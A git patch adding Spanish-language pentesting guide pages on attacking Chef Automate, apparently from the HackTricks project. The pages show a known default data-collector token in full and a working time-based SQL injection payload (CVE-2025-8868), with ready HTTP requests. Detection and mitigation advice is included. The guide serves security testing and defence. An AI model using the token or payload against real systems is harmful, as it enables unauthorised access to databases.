From 97030da757c3de9d493d86e1240402cdca8efec8 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 19:23:03 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/chef-automate-security/chef-automate-e --- .../chef-automate-security/README.md | 18 +++ .../chef-automate-enumeration-and-attacks.md | 142 ++++++++++++++++++ .../gcp-post-exploitation/README.md | 2 - 3 files changed, 160 insertions(+), 2 deletions(-) create mode 100644 src/pentesting-ci-cd/chef-automate-security/README.md create mode 100644 src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..a43e8dac9 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Seguridad de Chef Automate + +{{#include ../../banners/hacktricks-training.md}} + +## ¿Qué es Chef Automate + +Chef Automate es una plataforma para automatización de infraestructura, cumplimiento y entrega de aplicaciones. Expone una UI web (a menudo Angular) que se comunica con servicios backend gRPC a través de un gRPC-Gateway, proporcionando endpoints tipo REST bajo rutas como /api/v0/. + +- Componentes backend comunes: gRPC services, PostgreSQL (a menudo visible mediante prefijos pq: error), data-collector ingest service +- Mecanismos de autenticación: tokens de usuario/API y un header de token del data collector: x-data-collector-token + +## Enumeración y ataques + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..2b19817a7 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Enumeration & Attacks + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +Esta página recopila técnicas prácticas para enumerar y atacar instancias de Chef Automate, con énfasis en: +- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses +- Abusing the x-data-collector-token authentication header when defaults are present +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search + +> Nota: Las respuestas del backend que incluyen el header grpc-metadata-content-type: application/grpc típicamente indican un puente gRPC-Gateway que conecta llamadas REST con servicios gRPC. + +## Recon: Arquitectura y huellas + +- Front-end: A menudo Angular. Los bundles estáticos pueden dar pistas sobre rutas REST (p. ej., /api/v0/...) +- API transport: REST a gRPC vía gRPC-Gateway +- Responses may include grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Cuerpos de error que empiezan con pq: sugieren fuertemente PostgreSQL con el driver Go pq +- Endpoints de Compliance interesantes (auth required): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Auth: Data Collector Token (x-data-collector-token) + +Chef Automate expone un data collector que autentica peticiones mediante un header dedicado: + +- Header: x-data-collector-token +- Riesgo: Algunos entornos pueden conservar un token por defecto que concede acceso a rutas API protegidas. Default conocido observado en el wild: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +Si está presente, este token puede usarse para llamar endpoints de la Compliance API que de otro modo requieren auth. Siempre intentar rotar/desactivar defaults durante el hardening. + +## API Schema Inference via Error-Driven Discovery + +Los endpoints respaldados por gRPC-Gateway a menudo leak errores de validación útiles que describen el modelo de request esperado. + +Para /api/v0/compliance/profiles/search, el backend espera un body con un array filters, donde cada elemento es un objeto con: + +- type: string (identificador del campo del filtro) +- values: array de strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +JSON malformado o tipos de campo incorrectos típicamente disparan 4xx/5xx con pistas, y las cabeceras indican el comportamiento del gRPC-Gateway. Úsalos para mapear campos y localizar injection surfaces. + +## API de Compliance - SQL Injection (CVE-2025-8868) + +- Endpoint afectado: POST /api/v0/compliance/profiles/search +- Injection point: filters[].type +- Clase de vulnerabilidad: time-based blind SQL injection in PostgreSQL +- Causa raíz: Falta de proper parameterization/whitelisting al interpolar el campo type en un fragmento SQL dinámico (probablemente usado para construir identifiers/WHERE clauses). Los crafted values en type son evaluados por PostgreSQL. + +Working time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Notas de la técnica: +- Cierra la cadena original con una comilla simple +- Concatena una subconsulta que llama a pg_sleep(N) +- Vuelve a entrar en el contexto de cadena mediante || para que el SQL final siga siendo sintácticamente válido independientemente de dónde se inserte type + +### Prueba mediante latencia diferencial + +Envía solicitudes emparejadas y compara los tiempos de respuesta para validar la ejecución del lado del servidor: + +- N = 1 segundo +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 segundos +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Response times scale with pg_sleep(N) +- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths + +> Consejo: Use un validador de tiempos (p. ej., múltiples intentos con comparación estadística) para reducir ruido y falsos positivos. + +### Impacto + +Usuarios autenticados —o actores no autenticados que abusen de un x-data-collector-token por defecto— pueden ejecutar SQL arbitrario dentro del contexto PostgreSQL de Chef Automate, poniendo en riesgo la confidencialidad e integridad de los perfiles de compliance, la configuración y la telemetría. + +### Versiones afectadas / Solución + +- CVE: CVE-2025-8868 +- Guía de actualización: Chef Automate 4.13.295 o posterior (Linux x86) según los avisos del proveedor + +## Detección y Forense + +- Capa API: +- Monitorizar respuestas 500 en /api/v0/compliance/profiles/search donde filters[].type contiene comillas ('), concatenación (||), o referencias a funciones como pg_sleep +- Inspeccionar cabeceras de respuesta en busca de grpc-metadata-content-type para identificar flujos gRPC-Gateway +- Capa de base de datos (PostgreSQL): +- Auditar llamadas a pg_sleep y errores de identificador malformado (a menudo aparecen con prefijos pq: provenientes del driver pq de Go) +- Autenticación: +- Registrar y alertar sobre el uso de x-data-collector-token, especialmente valores por defecto conocidos, en las rutas API + +## Mitigaciones y Endurecimiento + +- Inmediatas: +- Rotar/deshabilitar tokens de data collector por defecto +- Restringir el ingreso a los endpoints de data collector; aplicar tokens fuertes y únicos +- A nivel de código: +- Parametrizar consultas; nunca concatenar fragmentos SQL como cadenas +- Restringir estrictamente con lista blanca los valores permitidos de type en el servidor (enum) +- Evitar ensamblar SQL dinámico para identificadores/cláusulas; si se requiere comportamiento dinámico, usar comillas seguras para identificadores y listas blancas explícitas + +## Lista de verificación práctica para pruebas + +- Comprobar si x-data-collector-token es aceptado y si el valor por defecto conocido funciona +- Mapear el esquema de solicitud de la Compliance API induciendo errores de validación y leyendo mensajes de error/cabeceras +- Probar SQLi en campos menos obvios "tipo-identificador" (p. ej., filters[].type), no solo en arrays de valores o campos de texto de primer nivel +- Usar técnicas basadas en tiempo con concatenación para mantener SQL sintácticamente válido en distintos contextos + +## Referencias + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}